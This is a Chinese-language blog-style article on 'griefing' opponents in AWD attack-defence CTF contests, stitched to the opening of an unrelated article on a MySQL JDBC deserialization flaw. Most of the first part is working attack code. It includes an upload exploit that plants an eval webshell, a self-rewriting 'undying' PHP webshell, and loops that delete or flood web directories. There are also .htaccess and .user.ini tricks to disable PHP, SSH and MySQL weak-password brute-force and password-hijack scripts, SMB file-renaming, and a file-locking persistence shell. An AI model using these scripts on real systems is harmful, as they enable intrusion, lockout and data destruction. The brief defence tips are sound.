上面的操作去触发不死马，都是我通过蚁剑手工写入然后再手工请求去触发的，在手速为王的情况下,这个大约一分钟的手工操作时间还是很致命的，所以我们用python脚本，实现一个简单的shell条件下,直接自动写入和触发。
#### 1.第一步首先是发现漏洞,比如最简单的如文件上传漏洞
upload.php
<?php
if(!file_exists("./upload")){
mkdir('./upload');
}
if($_FILES['file']){
$ext = end(explode('.', $_FILES['file']['name']));
$filename = './upload/' . md5(time()) . '.' .$ext;
move_uploaded_file($_FILES['file']['tmp_name'],$filename);
echo "stored in :".$filename;
}else{
echo "please upload file,parameter is file!";
}
?>
这个我们可以编写python脚本来对其利用:
`upload_vul` 函数代表漏洞利用
# 上传漏洞利用
# @pysnooper.snoop("debug.log")
# @pysnooper.snoop()
def upload_vul(url):
print("upload_vul function working...")
code = """<?php var_dump(md5("123"));eval(@$_POST['xq17']);?>"""
files = {
"file": ('shell.php',BytesIO(code.encode()))
}
try:
if config['debug']:
res = requests.post(url, files=files, timeout=5, proxies=config['proxies'])
else:
res = requests.post(url, files=files, timeout=5)
text= res.text
# shell地址的正则
pattern = re.compile("[\.](/(.*).php)")
shell_url = pattern.search(text).group(1)
if shell_url is not None:
print("[+]upload_vul Success! Get Shell:{url}".format(url=shell_url))
else:
print("[-]upload_vul Fail! ")
return shell_url
except Exception as e:
pass
然后需要一个检测shell存活性的函数`check_alive`:
# 检测shell存活
# @pysnooper.snoop("debug.log")
@pysnooper.snoop()
def check_alive(url):
try:
# 0=> 简单探测 1是特殊字符匹配探测
mode = 1
if mode == 0:
try:
code = requests.head(url).status_code
if code == 200:
return True
else:
return False
except:
pass
if mode == 1:
try:
html = requests.get(url).text
if "202cb962ac59075b964b07152d234b70" in html:
return True
else:
return False
except:
pass
except Exception as e:
pass
#### 2.第二步就是利用shell来进行上面三步骤的自动化
1.首先是写入md5内存马
# 写入md5内存php马
# @pysnooper.snoop("debug.log")
# @pysnooper.snoop()
def memeory_shell(shell, shellpass):
print("memeory_shell function working".center(80,"-"))
# 内存马文件名
filename = "." + hashlib.md5(str(time.time()).encode()).hexdigest() + ".php"
# 内存马密码 随机8位密码
password = "".join(random.sample(string.ascii_letters + string.digits, 8))
php_code = """<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '{filename}';
$code = '<?php if(substr(md5(@$_REQUEST["k"]),25)=="{submd5}"){{@eval($_POST[a]);}} ?>';
while (1){{
is_dir($file)?rmdir($file):file_put_contents($file,$code);
usleep(1);
}}
?>
""".format(filename=filename, submd5=hashlib.md5(password.encode()).hexdigest()[25:])
try:
evil_body = {
shellpass:"file_put_contents({filename},base64_decode({code}));var_dump('ok');".format(filename=filename.encode(), code=base64.b64encode(php_code.encode()))
}
res = requests.post(shell,data=evil_body)
if 'ok' in res.text:
parse_shell = parse.urlparse(shell)
# 获取当前相对路径
mememory_url = parse_shell.scheme + "://" + (parse_shell.netloc + "/".join(parse_shell.path.split('/')[:-1]) + "/" +filename).replace("//", "/")
# 自定义shell路径
# mememory_url =
# print(mememory_url)
# 返回获取的phpshell地址,这里需要根据实际来调整
print("[+]memeory_shell Success! mememory shell:{}".format(mememory_url))
# 写入到 shell.txt
with open("shell.txt", "a+") as f:
f.write(mememory_url + "-" +password + "\n")
return mememory_url
else:
print("[-]memeory_shell Fail! ")
exit(0)
except:
pass
这里上传的不死马shell都会保存在shell.txt下,形式类似:
http://127.0.0.1:8302/upload/.a9f7e9960b0a5fd83163bd51f5b65fd4.php-Q6Rv75jd
利用也很简单
POST:
k=Q6Rv75jd&a=phpinfo();
2.接着就是DOS批量写垃圾干扰,和批量删除脚本文件的操作了(这里因为脚本比较简单,所以这里合并为一个函数)
# 干扰和批量删除文件
# @pysnooper.snoop("debug.log")
# @pysnooper.snoop()
def dos_rm(shell, shellpass):
dos_code = """
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$base64 = "SGVsbG8sIGhha2NlciwgMzYwdGVhbQ==";
while (True){
file_put_contents(mt_rand().".".md5(mt_rand()),$base64);
file_put_contents(mt_rand().".".md5(mt_rand()),$base64);
file_put_contents(mt_rand().".".md5(mt_rand()),$base64);
file_put_contents(mt_rand().".".md5(mt_rand()),$base64);
file_put_contents(mt_rand().".".md5(mt_rand()),$base64);
}
?>
"""
rm_code = """
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
while (True){
array_map('unlink', array_filter(glob('./*.php*'), 'is_file'));
array_map('rmdir', array_filter(glob('./*'), 'is_dir'));
}
?>
"""
# 这里按需要选择需要写入的代码
# code = [dos_code]
code = [rm_code]
# code = [dos_code, rm_code]
for _ in code:
filename = "." + hashlib.md5(str(time.time()).encode()).hexdigest() + ".php"
try:
evil_body = {
shellpass:"file_put_contents({filename},base64_decode({code}));var_dump('ok');".format(filename=filename.encode(), code=base64.b64encode(_.encode()))
}
res = requests.post(shell,data=evil_body)
if 'ok' in res.text:
parse_shell = parse.urlparse(shell)
# 获取当前相对路径
url = parse_shell.scheme + "://" + (parse_shell.netloc + "/".join(parse_shell.path.split('/')[:-1]) + "/" +filename).replace("//", "/")
# 开始触发脚本
if check_alive(url):
return True
else:
return False
else:
print("[-]dos_rm Fail! ")
exit(0)
except Exception as e:
print("[-]dos_rm Exception! ")
全部整合起来就是一个统一的脚本了,这里我直接写成了`autoShell.py`丢在了github上面,就不粘贴了。
有一些因为内存马的问题,脚本会有些执行上的问题，希望大家不要做伸手党，自己去调试改改,工具还是自己写比较顺手。
#### 3 效果展示
反正就是很狗,没办法删掉文件和浏览该文件夹，但是还是可以访问木马的，建议自己调试的时候,把dos那个脚本最好删掉或者usleep调大点，要不然后果很操蛋,这个目录基本崩掉了。
当然如果别人能上传`.htaccess`或者自己也写了脚本的话,还是可以绕过这个删除文件的,就是做起来感觉不好而已，也会怀疑是不是题目问题。。。哈哈。。org。
AWD的时候可以更过分点直接删站org。
### 0x2.6 apache下利用htaccess关闭php解析
如果题目刚好是重命名上传文件到上传目录的时候,通过写入这个文件关闭当前php引擎真的挺狗的。
.htaccess
php_flag engine 0
这里同样为了提高我们的速度,我们可以简单写一个py的脚本,用来专门快速执行php代码。
`autoPhpCode.py`
#!/usr/bin/python3
# -*- coding:utf-8 -*-
import requests, re, base64, time, random, string, hashlib
import pysnooper
from io import BytesIO
from urllib import parse
# 配置信息
config = {
'debug': True,
'proxies': {
'http':'http://127.0.0.1:8080',
'https':'https://127.0.0.1:8080'
},
'headers': {
'Cookie': '',
},
'shell': 'http://127.0.0.1:8084/shell.php',
'shellpass':'a',
}
def get_shell():
url = ''
return url
@pysnooper.snoop()
def execute_code(shell, password, code):
try:
evil_body = {
password: code
}
res = requests.post(shell, data=evil_body, headers=config['headers'],timeout=5)
if res.status_code == 200:
return True
else:
return False
except Exception as e:
pass
def wrtie_htaccess(shell, password):
# 这里主要写你要写入的配置文件路径
filePath = "/var/www/html/uploads/.htaccess"
content = """php_flag engine 0"""
code = "file_put_contents({filePath},base64_decode({content}));var_dump('ok');".format(filePath=filePath.encode(), content=base64.b64encode(content.encode()))
result = execute_code(shell, password, code)
if result:
print("[+]wrtie_htaccess Success!")
else:
print("[-]wrtie_htaccess Fail!")
def main():
shell = config['shell'] if config['shell'] else get_shell()
shellpass = config['shellpass'] if config['shellpass'] else 'xq17'
# 写入htaccess文件
while(True)
wrtie_htaccess(shell, shellpass)
time.sleep(1)
if __name__ == '__main__':
main()
为什么我会单独列出来呢,因为单文件更方便我们去修改和使用(我自己的习惯, 我发现整合起来导致模块使用的时候就会很麻烦)
我发现如果循环写入的话,别人通过条件竞争是有机会在htaccess被覆盖清空的瞬间执行代码的,所以自己要看情况调整下策略。
### 0x2.7 .user.ini 搅屎
关于.user.ini的解释,P牛的文章真的太容易懂了org。
>
> `.user.ini`。它比`.htaccess`用的更广，不管是nginx/apache/IIS，只要是以fastcgi运行的php都可以用这个方法。我的nginx服务器全部是fpm/fastcgi，我的IIS
> php5.3以上的全部用的fastcgi/cgi，我win下的apache上也用的fcgi，可谓很广，不像.htaccess有局限性。
虽然.user.ini 只能设置`PHP_INI_PEDIR` 、`PHP_INI_USER` and `PHP_INI_ALL`模式
但是我们仍然可以利用其中的一个属性来耍一下花样。
`auto_prepend_file=filename`
> 指定一个文件，自动包含在要执行的文件前，类似于在文件前调用了require()函数。而auto_append_file类似，只是在文件后面包含。
> 使用方法很简单，直接写在.user.ini中：
这里我们就可以写一个小操作了。
`.user.ini`
auto_prepend_file=/tmp/php
`/tmp/php`的内容则是
`<?php exit(0);?>`
这样子同目录下的PHP文件都会被直接被exit导致无法执行。
这里我们直接改改上面的那个脚本即可实现自动写入。
def write_ini_user(shell, password):
# 写入包含的文件路径
tmpPath = '/tmp/php_root_000'
content = """<?php exit(0);?>"""
# .user.ini 的路径 这里需要自定义一下
iniPath = "/var/www/html/public/upload"
iniFullPath = iniPath + '/' + '.user.ini'
iniContent = """auto_prepend_file={tmpPath}""".format(tmpPath=tmpPath)
code = "file_put_contents({tmpPath},base64_decode({content}));".format(tmpPath=tmpPath.encode(), content=base64.b64encode(content.encode()))
code += "file_put_contents({iniFullPath},base64_decode({iniContent}));".format(iniFullPath=iniFullPath.encode(), iniContent=base64.b64encode(iniContent.encode()))
code += "var_dump('ok');"
result = execute_code(shell, password, code)
if result:
print("[+]write_ini_user Success!")
else:
print("[-]write_ini_user Fail!")
效果还是很狗的,很容易让别人产生一种错觉.不过容易被扫到,反正还是挺迷惑的。
`http://127.0.0.1:8302/upload/.user.ini`是可以直接下载的。
## 0x3 弱口令下批量搅屎
### 0x3.1 SSH弱口令
比赛的时候有时候靶机会统一初始化设置为相同的密码,然后隔离没做好,这个时候我们完全可以直接c段过去修改密码或者直接`rm
-rf`,这里我们还是通过写个简单的py脚本来实现批量操作。
当然w能的githud也有一些相关的脚本,[awd_ssh_passwd_modify](https://github.com/Tkitn/awd_ssh_passwd_modify)
不过，这里我使用了一个比较简单的库`paramiko`来写自己的脚本感觉用起来会更顺手:
#!/usr/bin/python3
# -*- coding:utf-8 -*-
import gevent
from gevent import monkey; monkey.patch_all()
from multiprocessing import Process, Manager
import paramiko, pysnooper, time
# @pysnooper.snoop("sshPwndebug.log")
# @pysnooper.snoop()
def ssh(ip, username, password, cmd, stdinput="", port=22):
# 创建 ssh客户端
client = paramiko.SSHClient()
try:
# 第一次ssh远程时会提示输入yes或者no
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 通过密码的方式连接
client.connect(ip, port, username=username, password=password, timeout=3)
# 是否启用交互
if stdinput:
# 启用交互模式来执行
chan = client.invoke_shell()
chan.send(cmd + "\n")
time.sleep(0.2)
for char in stdinput.split("\n"):
char = char.strip()
chan.send(char + '\n')
time.sleep(0.2)
result = chan.recv(2048).decode()
chan.send("exit(0)" + "\n")
chan.close()
return result[result.find(cmd):]
else:
# 尝试执行非交互命令
stdin, stdout, stderr = client.exec_command(cmd)
#获取命令执行结果
cmd_result = stdout.read().decode(), stderr.read().decode()
#返回执行结果
return cmd_result
except paramiko.AuthenticationException as error:
print("[-]ssh Login Error! password or username not correct!")
return ('', '')
except Exception as e:
print("[-]ssh Fail! Exception Error!")
return ('', '')
finally:
# 关闭客户端
client.close()
# @pysnooper.snoop()
def change_pass(ip, username, user, oldpass, newpass, port=22):
# root 权限下快速更改密码
cmd = "echo {user}:{password} | chpasswd".format(user=user, password=newpass)
stdout, stderr = ssh(ip, username, oldpass, cmd, "", port)
# 说明当前权限不对, 那么就尝试使用passwd命令来修改当前用户的密码
if 'Authentication token manipulation error' in stderr:
print("[-] change_pass ! chpasswd Fail not root, try passwd...")
cmd = "passwd"
stdinput = "{oldpass}\n{password}\n{password}".format(oldpass=oldpass, password=newpass)
res = ssh(ip, username, oldpass, cmd, stdinput, 22)
if 'password updated successfully' in res:
print("[+]change_pass Success! ")
return True
else:
# 这里因为有可能密码和原来密码一致
if oldpass == newpass:
print("[-]change_pass Fail! oldpass equals newpass!")
else:
print("[-]change_pass Fail! unpredictable Error!")
return False
elif not stdout:
print("[-]change_pass Fail!")
return False
def add_user(ip, username, password, user, userpass, port=22):
cmd = "adduser {user}".format(user=user)
stdinput = "{password}\n{password}\n\n\n\n\n".format(password=password)
output = ssh(ip, username, password, cmd, stdinput, port)
if "password updated successfully" in output:
print("[+] add_user Success:{ip}:{username}:{password}".format(ip=ip, username=username, password=password))
return True
else:
print("[-] add_user Failed!")
return False
def main():
ip = 'xxxxx'
port = 22
username = 'test000'
# password = 'xxxxx'
password = 'test1111'
add_user(ip, username, password, 'test000111', password)
change_pass(ip, username, 'test000', password, 'test11112', 22)
if __name__ == '__main__':
main()
这里主要写了3个函数:`add_user`、`change_pass`和最为重要的复用最多的`ssh`函数
这里没写批量的操作,因为只是展示下自己的思路, 真正使用的话,
我自己基于上面这个小脚本重新定制开发了一个多进程+多协程的批量利用工具，具备简单的密码fuzz,
批量执行命令、保存结果、快速更改密码等适合自己日常功能的工具,如果师傅们不嫌弃python效率比较低,可以给菜鸡这个项目[sshPwn](https://github.com/mstxq17/sshpwn)点个star,一起交流学习一下!
### 0x3.2 MYSQL弱口令搅屎
关于这个点,是我第一场awd比赛的惨痛教训,
当时被学长们带着去打了一次很垃圾的蓝盾杯,想着当时自己傻傻地使用手敲去测试mysql的弱口令,然后傻傻地写shell最后发现www的权限读取不到flag,据说别人用`load_file`就可以读取出来了,反正就是特别悲剧，打完出来之后我就有写个自动化攻击的想法,今天刚好将其实现一下。
作为一个经典的脚本小子, 这里我还是选择了python3的`pymysql`库来实现批量查询。
**这里我们需要了解下一些关于Mysql的特点**
> mysql 常用的攻击手段一般是有限制的.
>
> 一.写shell的操作
>
> **1.select into操作**
>
> (1) 用户需要至少具备file权限
>
> select file_priv, user, host from mysql.user;
>
> (2)知道网站路径
>
> 这个在linux下问题比较好解决: 一般/var/ww/html
>
> (3)secure_file_priv 只读变量设置为''或者设置为网站目录
>
> `show variables like "%secure%";
>
> select @@secure_file_priv;
>
>
> mysql> set global secure_file_priv = '';
> ERROR 1238 (HY000): Variable 'secure_file_priv' is a read only variable
>
> 只能通过mysql的配置文件来更改:
>
>>
>> [mysqld]
>> secure_file_priv=""
>
> (4) 写shell
>
>
> mysql> select '<?php phpinfo():?>' into outfile '/var/lib/mysql-> files/flag.php';
> Query OK, 1 row affected (0.00 sec)
>
>
>
>
> **2.基于log日志的方式写shell**
>
> 要求mysql能够对网站目录有写入的权限。
>
> 如管理员这样设置的话:`chown -R mysql:mysql /var/www/html`
>
>
> show variables like "%general_log%";
> +------------------+---------------------------------+
> | Variable_name | Value |
> +------------------+---------------------------------+
> | general_log | OFF |
> | general_log_file | /var/lib/mysql/00b4d83a11af.log |
> +------------------+---------------------------------+
>
>
> 1.设置日志文件存储的路径
> mysql> set global general_log_file = '/var/www/html/index.php';
> Query OK, 0 rows affected (0.00 sec)
>
> 2.开启日志文件
> mysql> set global general_log= ON;
> Query OK, 0 rows affected (0.00 sec)
>
> 3.查询木马,写入一句话
> mysql> select "<?php phpinof();?>";
> +--------------------+
> | <?php phpinof();?> |
> +--------------------+
> | <?php phpinof();?> |
> +--------------------+
> 1 row in set (0.00 sec)
>
>
>
>
> **3.读取文件的操作**
>
> 这里用到了load_file,这个其实要求和into outfile一样,就不展开了。
当然除了上面那些高端操作(正常配置概率低),这里肯定得围绕主题来展开啦,搅屎可以选择直接删库,或者重置mysql密码,重置后台登录密码等等操作(这些操作绝大部分都没啥限制,也没啥用,用来恶心下人),那么接下来就是将其实现自动化,当一个有灵魂的搅屎棍。
#!/usr/bin/python3
# -*- coding:utf-8 -*-
import pymysql
import queue
import threading
import pysnooper
from concurrent.futures import ThreadPoolExecutor
# 尝试登陆的函数模块
# @pysnooper.snoop()
def try_login(params):
user = params['user']
pwd = params['pwd']
port = params['port']
host = params['host']
try:
db = pymysql.connect(host=host, port=port, user=user, password=pwd)
print(f"[+]try_login Success! {host}:{user}:{pwd}")
# 关闭数据库连接,防止阻塞
db.close()
return host + ':' + user + ':' + pwd
except Exception as e:
if "using password" in str(e):
print("[-]try_login Fail! password Error!")
else:
print(e)
return False
# 简单、少量的密码fuzz
# @pysnooper.snoop()
def fuzz_pass(host, port, thread_num=20):
user = ['root', 'admin', 'user', 'test']
password = ['123456', 'root', '123', '', 'test']
# 创建线程池
with ThreadPoolExecutor(max_workers=thread_num) as t:
args = []
for u in user:
for p in password:
params = {}
params['user'] = u
params['pwd'] = p
params['port'] = port
params['host'] = host
args.append(params)
res = t.map(try_login, args)
return [t for t in res if t]
# 执行单条sql语句
# @pysnooper.snoop()
def exec_sql(host, port, user, pwd, sql):
try:
# 建立连接
db = pymysql.connect(host=host, port=port, user=user, password=pwd)
try:
cursor = db.cursor()
# 执行SQL语句
cursor.execute(sql)
# 进行提交
db.commit()
# 获取执行结果
res = cursor.fetchall()
return res
except Exception as e:
print(f"[-]exec_sql Fail:{host}:{e}")
return False
# 及时断开链接防止堵塞
db.close()
except Exception as e:
print(f"[-]exec_sql Fail! Exception:{host}")
return False
# 修改当前登录用户的密码
# @pysnooper.snoop()
def change_current_pass(host, port ,user, pwd, newpwd):
sql = f"ALTER USER USER() IDENTIFIED BY '{newpwd}';"
result = exec_sql(host, port, user, pwd, sql)
if result == ():
print(f"[+] change_current_pass Success! {host}:{newpwd}")
else:
print(f"[-] change_current_pass Fail! {host}")
# 批量读取文件内容
def load_file(host, port, user, pwd, filePath):
#要读取的文件路径
sql = f"select load_file('{filePath}');"
result = exec_sql(host, port, user, pwd, sql)
try:
if result[0][0]:
return result
else:
print(f"[-]load_file Fail! try:{host}:{e}")
return False
except Exception as e:
print(f"[-]load_file Fail! Exception:{host}:{e}")
return False
def main():
user = 'root'
pwd = '1234566'
port = 3308
host = '127.0.0.1'
# try_login(user, pwd, port, host)
# print(fuzz_pass(host, port))
sql = "select @@version"
# exec_sql(host, port, user, pwd, sql)
# change_current_pass(host, port, user, pwd, '1234566')
# load_file(host, port, user, pwd, '/var/lib/mysql-files/flag')
if __name__ == '__main__':
main()
关于如何实现批量操作,这个自由发挥哈,问题应该不是很大。
这里丢一个简易版的批量操作,后面自己改改加一个线程池问题很简单的,最好自己定制化(要不然会被阻塞得很严重。)
具体怎么操作可以参考上面写的sshPWN的项目,或者自己优化下,欢迎师傅们找我交流。
# 批量攻击
def attack_others():
# 生成目标
config = {
# 获得目标的类型: file文件读取 custom自己生成
'type': 'custom'
}
targets = []
if config['type'] == 'file':
filename = "list.txt"
with open(filename, 'r') as f:
for line in f:
# host, user, pwd, port = line.strip().split(':')
targets.appen(line.strip())
elif config['type'] == 'custom':
user = 'root'
pwd = '123456'
port = '3308'
# with open("ip.txt", r) as f:
# for ip in f:
# target = ip.strip() + ':' + user + ':' + pwd + ':' + port
# targets.append(target)
cIP = '127.0.0.{i}'
for i in range(1, 10):
ip = cIP.format(i=i)
target = ip.strip() + ':' + user + ':' + pwd + ':' + port
targets.append(target)
# 输出生成的目标
print(targets)
# 开始对目标开始攻击
success_result = []
# 单进程单线程版
# print("正在启动单进程攻击!")
# for ip in targets:
# # 修改当前登录密码
# newpwd = '123456'
# host, user, pwd, port = ip.split(':')
# result = change_current_pass(host, int(port) ,user, pwd, newpwd)
# if result:
# print(f"[+] attack_others>change_current_pass Success!")
# success_result.append(host)
# else:
# print(f"[+] attack_others>change_current_pass Fail!")
# #输出最终成功的结果
# print("[+] Success Count:{count}".format(count=len(success_result)))
# print(success_result)
# 多进程版
print("正在启动多进程攻击!")
p = Pool(10)
result = []
for ip in targets:
newpwd = '123456'
host, user, pwd, port = ip.split(':')
resProcess = p.apply_async(change_current_pass, args=(host, int(port) ,user, pwd, newpwd))
result.append(resProcess)
p.close()
p.join()
success_result = [x.get() for x in result if x.get()]
print("[+] Success Count:{count}".format(count=len(success_result)))
print(success_result)
print("All attack Done!")
### 0x3.3 FTP弱口令搅屎
这个遇到的场景比较少,所以这里我只研究了一些简单的小脚本,并没有尝试去定制化功能。
这里只提供一些可能有点坏坏的操作, 批量更改ftp的文件名,批量删除ftp的文件,恶意上传文件。
> 这个当做挖坑吧,后面如果真的有用到,我会补充到github上面的。
### 0x3.4 smb共享搅屎
这个场景是有一次我参加期末实验考试的时候,老师在电脑开了共享让我们提交作业,当时我就发现老师为了方便设置的权限比较宽，我能够随意更改和浏览别人的文件内容、文件名,所以当时就萌生出了这个批量搅屎的想法,但是当时时间太紧了,没来的写org,这里简单写一下,当做记录下自己的回忆吧。
这里采用了`pip3 install pysmb`这个包,这个脚本比较简单这里直接贴脚本吧。
#!/usr/bin/python3
# -*- coding:utf-8 -*-
from smb.SMBConnection import SMBConnection
from io import BytesIO
import random, string
import pysnooper
# 写文件
# @pysnooper.snoop()
def write_file(conn, service_name, path, content):
file = BytesIO(content.encode())
filename = "".join(random.sample(string.digits + string.ascii_letters,4)) + '_xq17666.txt'
path = path +'/'+filename
try:
conn.storeFile(service_name, path, file)
print(f"Write Success!:{content} > {path} ")
except Exception as e:
print(e)
# 列举共享目录
# @pysnooper.snoop()
def list_share(conn):
print("Open Share:")
# 获取共享的文件夹
sharelist = conn.listShares(timeout=30)
for i in sharelist:
print(i.name)
# 列出共享名下的文件
# @pysnooper.snoop()
def list_dir(conn, service_name, path):
try:
response = conn.listPath(service_name, path, timeout=30)
for r in response:
print(r.filename)
return response
except Exception as e:
print("[-] can't not access the resource!")
# 修改文件名
# @pysnooper.snoop()
def change_filename(conn, service_name, path):
try:
response = list_dir(conn, service_name, path)
for r in response:
if r.filename not in ['.', '..']:
old_name = r.filename
old_path = path + '/' + old_name
# newname = '.'.join(oldname.split('.'))
new_name = 'xq17666_' + old_name
new_path = path + '/' + new_name
conn.rename(service_name, old_path, new_path)
# print(conn.getAttributes(service_name, old_path).isReadOnly)
print(f"change_name Success {old_path}>{new_path}")
except Exception as e:
print(e)
def main():
share_ip = '10.37.129.9'
username = ''
password = ''
# 可以随意
myname = 'hackerbox'
# 可以随意
remote_name = 'XQ1783FC'
conn = SMBConnection(username, password, myname, remote_name, is_direct_tcp = True)
assert conn.connect(share_ip, 445)
list_share(conn)
list_dir(conn, 'Users', '/xq17/share')
change_filename(conn, 'Users', '/xq17/share')
# for i in range(10):
# write_file(conn, 'Users', '/xq17/share', 'test,hacker!')
if __name__ == '__main__':
main()
更多搅屎的思路,自己挖掘吧,欢迎有师傅找我一起交流下,娱乐至上,简单改改代码就能恢复原样(不要干坏事qq)
## 0x4 权限维持的小姿势(登顶赛玩法)
关于权限维持,在红队攻防里面其实有更多玩法(如果有机会的话,可以分享出来),
这里主要是对于很久之前在hxb打了个登顶赛,结合一些大马的锁定文件操作的思路。
就是我们可以通过修改我们上传文件的权限644为444,导致相同权限的人没有权限去修改我们的文件,但是他可以有两种选择,要么就是删,要么就是先改为644再删,所以这里就涉及到一个竞争的问题了。
这个登顶赛一般设置的话只能是文件所有者或者root才能使用chmod,所以这个使用还是看情况吧.
一般`/flag`使用者为root,只开放了rw的权限为第三方应该,删除文件要求是对本文件当前目录有写的权限。
所以一般没办法删除,这个只能看情况来用吧。
不过我们还是有一些竞争的骚操作的来实现的,比如能执行命令的时候。
我们可以通过不死马来持续监控我们的文件,防止被删。
首先分析一下不死锁定马的实现思路:
<?php
@unlink($_SERVER['SCRIPT_FILENAME']); //删除自身
error_reporting(0); //禁用错误报告
ignore_user_abort(true); //忽略与用户的断开，用户浏览器断开后继续执行
set_time_limit(0); //执行不超时
$js = 'clock.txt'; //用来判断是否终止执行锁定（解锁）的文件标记
$mb = 'jsc.php'; //要锁定的文件路径
$rn = 'huifu.txt'; //要锁定的内容
$nr = file_get_contents($rn); //从文件中读取要锁定的内容
@unlink($rn); //删除“要锁定的文件内容”，不留痕迹
//创建一个后台执行的死循环
while (1==1) {
//先判断是否需要解除锁定，防止后台死循环造成各种冲突
if (file_exists($js)) {
@unlink($js); //删除解锁文件
exit(); //终止程序
}
else {
@unlink($mb); //先删除目标文件
chmod($mb, 0777); //设置属性
@unlink($mb); //先删除目标文件
file_put_contents($mb, $nr); //锁定内容 //$fk = fopen($mb, w); fwrite($fk, $nr); fclose($fk);
chmod($mb, 0444); //设置属性
usleep(1000000); //等待1秒
}
};
?>
比较简单,就是做了很多自定义化的操作,这里我们直接简化下。
<?php
@unlink($_SERVER['SCRIPT_FILENAME']); //删除自身
error_reporting(0); //禁用错误报告
ignore_user_abort(true); //忽略与用户的断开，用户浏览器断开后继续执行
set_time_limit(0); //执行不超时
while (true) {
# 需要锁定的文件
$filePath = '/var/www/html/flag';
chmod($filePath, 0777); //设置属性
@unlink($filePath);
file_put_contents($filePath, "xq17");
chmod($filePath, 0444); //设置属性
usleep(1000);
#挂载后台执行的命令
$cmd = "while true;do echo 'xq17'>/var/www/html/flag;done &";
system($cmd);
}
?>
修改的时候会因为权限问题失败,从而保护了我们的文件。
## 0x5 对抗手段
关于对抗手段,我觉得最主要是把根本问题解决,简单的洞一定要快速修好,这样没人进去也就没人对抗一说。
当然如果自己实在被搞进去了,那么前期的备份操作,可能就会显得很重要吧,不过就我个人实力而言,被打进去的的话,我一般选择同归于尽，比赛可以输，但是这口气必须要出,org.
因为自己防御真的没啥想法,况且也偏离了本文主题，所以简单说一下一些自己的技巧。
当然如果只是针对我上面的手段,只要权限到位,对抗还是很简单的，欢迎师傅们发言说说哈哈。
### 0x5.1 kill 掉内存马
这里需要注意下自己的权限,如果自己是root的话,注意加一个`grep 'www-data'`防止杀掉了主进程,如果当前是web的权限,那么就随意了,因为主进程是root的权限,杀不掉root的,之后主进程可以正常fork子进程。
#pfp-fpm 条件下
kill `ps -ef | grep php-fpm | grep -v grep | grep 'www' | awk '{print $1}'`
# apache
#httpd
kill `ps -ef | grep httpd | grep -v grep | grep 'www' | awk '{print $1}'`
#apache2
kill `ps -ef | grep apache | grep -v grep | grep 'www'| awk '{print $2}'`
### 0x5.2 弱口令防护
那肯定是快速修改密码啦:
这里可以存一份密码口令修改记录啦,然后写成bash的高容错方式,粘贴执行美滋滋:
或者ssh直接上传脚本。
ssh密码修改:
passwd
mysql密码修改:
show databases;
use mysql
set password for root@localhost = password('123');
或者下面这个我比较常用
update user set password = PASSWORD('需要更换的密码') where user='root';
flush privileges;
show tables;
### 0x5.3 快速备份网站和数据库
备份网站
tar -zcvf ~/html.tar.gz /var/www/html*
还原:
rm -rf /var/www/html
tar -zxvf ~/html.tar.gz -C /var/www/html
备份数据库:
$ cd /var/lib/mysql #(进入到MySQL库目录，根据自己的MySQL的安装情况调整目录)
$ mysqldump -u root -p Test > Test.sql # 输入密码即可。 这里记得用数据库来命名
$ mysqldump -u root -p --all-databases > ~/backup.sql # 备份所有数据库
$ mysqldump -u root -p --all-databases -skip-lock-tables > ~/backup.sql # 跳过锁定的数据库表
还原数据库:
$ mysql -u root -p
mysql> create database [database_name]; # 输入要还原的数据库名
mysql> use [database_name]
mysql> source backup.sql; # source后跟备份的文件名
或者
cd /var/lib/mysql # (进入到MySQL库目录，根据自己的MySQL的安装情况调整目录)
$ mysql -u root -p Test < Test.sql # 输入密码即可（将要恢复的数据库文件放到服务器的某个目录下，并进入这个目录执行以上命令）。
## 0x6 总结
写这篇文章本意并不是说希望大家都去破坏比赛体验，但是我觉得对抗是永恒存在的，都是相互促进的，大家玩耍的时候心理有合理的度就好了。如果后面有机会自己会记录下，自己是如何为学弟们举办一场awd比赛,然后记录一下自己打awd的正常化思路，总之，所有的一切，我的出发点还是hacking
就是好玩。上面的脚本有需要自取[badGuyHacker](https://github.com/mstxq17/badGuyHacker)
## 0X7 参考链接
[干掉 PHP
不死马](https://rmb122.com/2019/04/04/%E5%B9%B2%E6%8E%89-PHP-%E4%B8%8D%E6%AD%BB%E9%A9%AC/)
[Apache的.htaccess利用技巧](https://xz.aliyun.com/t/8267)
[user.ini文件构成的PHP后门](https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html)
[python中多进程+协程的使用](https://zhuanlan.zhihu.com/p/20953615)
[mysql写shell的一点总结](https://v0w.top/2020/03/14/mysql-getshell/#0x01-%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6)
[AWD学习笔记 ](https://www.diaossama.work/2019/09/awd-study-notes.html) | 社区文章 |
# MySQL JDBC 反序列化漏洞
* 该漏洞是BlackHat Europe 2019会议中的一个议题. **可以看参考1**
* 该文章的主要优点在于对于POC的编写有更详细的过程，适合于 **新手**.
### 使用环境
mysql-connector-8.0.12.jar
idea 2020.1 专业版
windows 10
python3
[ysoserial](https://github.com/frohoff/ysoserial)
wireshark
[npcap](https://nmap.org/npcap/)
### 基本知识
#### JDBC简介
JDBC（`Java DataBase Connectivity`）是Java和数据库之间的一个桥梁，是一个 **规范**
而不是一个实现，能够执行SQL语句。它由一组用Java语言编写的类和接口组成。各种不同类型的数据库都有相应的实现，本文中的代码都是针对MySQL数据库实现的。
#### 简单实例
String Driver = "com.mysql.cj.jdbc.Driver"; //从 mysql-connector-java 6开始
//String Driver = "com.mysql.jdbc.Driver"; // mysql-connector-java 5
String DB_URL="jdbc:mysql://127.0.0.1:3306/security";
//1.加载启动
Class.forName(Driver);
//2.建立连接
Connection conn = DriverManager.getConnection(DB_URL,"root","root");
//3.操作数据库，实现增删改查
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from users");
//如果有数据，rs.next()返回true
while(rs.next()){
System.out.println(rs.getString("id")+" : "+rs.getString("username"));
#### java序列化对象特征
这个东西是为了理解下面的代码而写的.
我们先写一个简单的demo
public class Car implements Serializable {
private String name;
public Car(){
this.name ="car";
}
public static void main(String[] args) throws IOException {
Car car=new Car();
FileOutputStream fos =new FileOutputStream("output");
ObjectOutputStream oos =new ObjectOutputStream(fos);
oos.writeObject(car);
oos.close();
}
}
